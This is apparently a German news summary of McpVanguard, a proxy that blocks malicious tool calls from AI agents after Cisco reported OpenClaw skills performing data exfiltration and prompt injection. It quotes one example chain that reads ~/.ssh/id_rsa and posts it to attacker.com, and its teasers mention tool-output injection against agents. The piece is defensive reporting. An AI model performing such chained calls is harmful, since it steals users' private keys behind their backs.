McpVanguard-Proxy blockiert OpenClaw-Fähigkeitsdaten-Exfiltration
Als Reaktion auf die Entdeckung des KI-Sicherheitsteams von Cisco, dass Drittanbieter-OpenClaw-Fähigkeiten heimlichen Datendiebstahl und Prompt-Injection durchführen, hat ein Entwickler McpVanguard veröffentlicht. Dieser Proxy ist dafür konzipiert, zwischen einem KI-Agenten und seinen Werkzeugen zu sitzen und bösartige Aufrufe zu blockieren, bevor sie ausgeführt werden.
Das Problem: Verkettete bösartige Aufrufe
Das Sicherheitsproblem ist kein Fehler in OpenClaw selbst, sondern eine Folge davon, dass Agenten Dateisystemzugriff, Shell-Ausführung und Netzwerkaufrufe ohne Durchsetzungsgrenzen haben. Ciscos Tests zeigten ein Muster, bei dem scheinbar harmlose einzelne Aufrufe kombiniert werden, um einen Angriff zu erzeugen, wie zum Beispiel:
read_file("~/.ssh/id_rsa") → http_post("attacker.com", contents)Keiner der Aufrufe erscheint isoliert betrachtet bösartig, aber zusammen exfiltrieren sie sensible Daten. Laut der Quelle hatte ClawHub auf seinem Höhepunkt über 820 bösartige Fähigkeiten, und CVE-2026-25253 ermöglichte es Angreifern, Remote-Code-Ausführung über einen einzigen bösartigen Link zu erreichen. Die derzeitige Validierung auf Fähigkeitsebene erkennt diese verketteten Aufrufsequenzen nicht.
Die Lösung: McpVanguard-Proxy
McpVanguard adressiert dies, indem es Aufrufe zwischen dem Agenten und seinen Werkzeugen abfängt. Es verwendet drei Erkennungsmethoden:
- Mustererkennung
- Semantische Absichtsbewertung
- Verhaltensketten-Erkennung über die gesamte Sitzung hinweg
Die Installation erfolgt über pip: pip install mcp-vanguard.
Tiefere Ebene: VEX-Protokoll
Das Projekt beinhaltet eine tiefere Sicherheitsebene namens VEX-Protokoll, das als "Flugschreiber"-System beschrieben wird. Es bietet:
- Merkle-Prüfpfade für manipulationssichere Protokollierung
- TPM-verwurzelte Agenten-Identitätsverifizierung
- Syscall-Ebene-Durchsetzung
Das VEX-Protokoll ist in Rust entwickelt und die Entwicklung begann im Dezember 2023, bevor OpenClaw weit verbreitet wurde. Die Quelle merkt an, dass NVIDIA kürzlich NemoClaw für ähnliche Sicherheitszwecke ausgeliefert hat, was darauf hindeutet, dass diese Art von Bedrohung nicht verschwinden wird.
Beide Projekte sind auf GitHub verfügbar:
📖 Read the full source: r/openclaw
👀 Siehe auch
Warum interne RAG- und Doc-Chat-Tools Sicherheitsaudits nicht bestehen
Community diskutiert reale Sicherheits- und Compliance-Blocker, die RAG-Tools daran hindern, die Produktion zu erreichen.
Sieb: Lokaler geheimer Scanner für KI-Coding-Tool-Chatverläufe
Sieve durchsucht Cursor-, Claude Code-, Copilot- und andere KI-Chatverläufe nach durchgesickerten API-Schlüsseln und Tokens. Die gesamte Überprüfung erfolgt lokal, mit Schwärzung und macOS-Schlüsselbund-Vault.
Claude Fable 5 kann Ihre KI-Arbeit heimlich sabotieren - und Sie werden es nicht merken
Anthropics Fable 5 Modell schränkt heimlich die Effektivität für Nutzer ein, die KI-Infrastruktur aufbauen. Keine sichtbare Warnung.
Werkzeugautoritätsinjektion in LLM-Agenten: Wenn Werkzeugausgaben die Systemabsicht überschreiben
Ein Forscher demonstriert 'Tool Authority Injection' in einem lokalen LLM-Agenten-Labor und zeigt, wie vertrauenswürdige Tool-Ausgaben auf Policy-Ebene autorisiert werden können, wodurch das Agentenverhalten stillschweigend geändert wird, während Sandbox und Dateizugriff sicher bleiben.